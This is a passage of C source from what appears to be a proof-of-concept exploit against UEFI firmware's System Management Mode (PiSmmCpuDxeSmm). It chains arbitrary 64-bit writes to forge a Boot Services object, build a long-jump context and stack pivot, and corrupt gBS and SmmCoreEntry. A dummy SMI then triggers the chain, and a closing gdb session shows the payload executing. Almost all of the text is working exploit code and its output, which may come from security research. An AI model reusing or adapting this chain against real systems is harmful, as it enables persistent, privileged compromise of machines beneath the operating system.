  // Set up our fake BS object's LocateProtocol field to point to our InternalLongJump primitive.
  //
  ExploitBsObject->LocateProtocol = (EFI_LOCATE_PROTOCOL)(PiSmmCpuDxeSmmImageBasePa + POC_INTERNALLONGJUMP_OFFSET);

  //
  // Fixed address that will be passed into LocateProtocol through RCX to be used as a long jump context.
  //
  LongJumpContextPa = (PiSmmCpuDxeSmmImageBasePa + POC_GSTATUS_CODE_RTP_GUID_OFFSET);

  //
  // This field will be used as the new RIP to jump to when execution is passed to the InternalLongJump primitive.
  // We need to point this field to our initial stack pivot gadget that will change RSP to our exploit stack from RBP.
  //
  PocSmmArbitraryWrite64 (
    CommBuffer,
    (LongJumpContextPa + 0x48),
    Gadgets.RbpToRspSub10h
  );

  //
  // The MXCSR value loaded by InternalLongJump should contain a valid MXCSR value,
  // so that ldmxcsr does not fault upon execution of the InternalLongJump primitive.
  //
  PocSmmArbitraryWrite64 (
    CommBuffer,
    (SmmCpuPrivateDataPa + 0x50),
    0
  );

  //
  // Set up the RBP value to be loaded to our new RSP value +0x10 to account
  // for the arithmetic performed in the stack pivot gadget.
  //
  PocSmmArbitraryWrite64 (
    CommBuffer,
    (LongJumpContextPa + 0x10),
    (ExploitStackPa + 0x10)
  );

  //
  // Overwrite the PiSmmCpuDxeSmm gBS pointer with the address of our fake BS object.
  //
  PocSmmArbitraryWrite64 (
    CommBuffer,
    (PiSmmCpuDxeSmmImageBasePa + POC_GBS_OFFSET),
    (UINT64)ExploitBsObject
  );
  
  //
  // Overwrite the SmmCoreEntry field to point to our first fake gBS LocateProtocol pivot primitive.
  //
  PocSmmArbitraryWrite64 (
    CommBuffer,
    SmmCoreEntryPtrPa,
    (PiSmmCpuDxeSmmImageBasePa + POC_GBS_LOCATEPROTOCOL_FUNC_OFFSET)
  );

  //
  // Trigger a dummy SMI to force dispatch through our corrupted SmmCoreEntry field, triggering the exploit chain.
  //
  PocSmmArbitraryWrite64 (0, 0);
  return EFI_SUCCESS;
}

(gdb) info registers rax rip cr0
rax            0xdeadbeef          3735928559
rip            0x7ffc5070          0x7ffc5070
cr0            0x80000033          [ PG NE ET MP PE ]
(gdb) x/3i $rip-6
   0x7ffc506a:	mov    $0xdeadbeef,%eax
   0x7ffc506f:	hlt    
=> 0x7ffc5070:	jmp    0x7ffc506f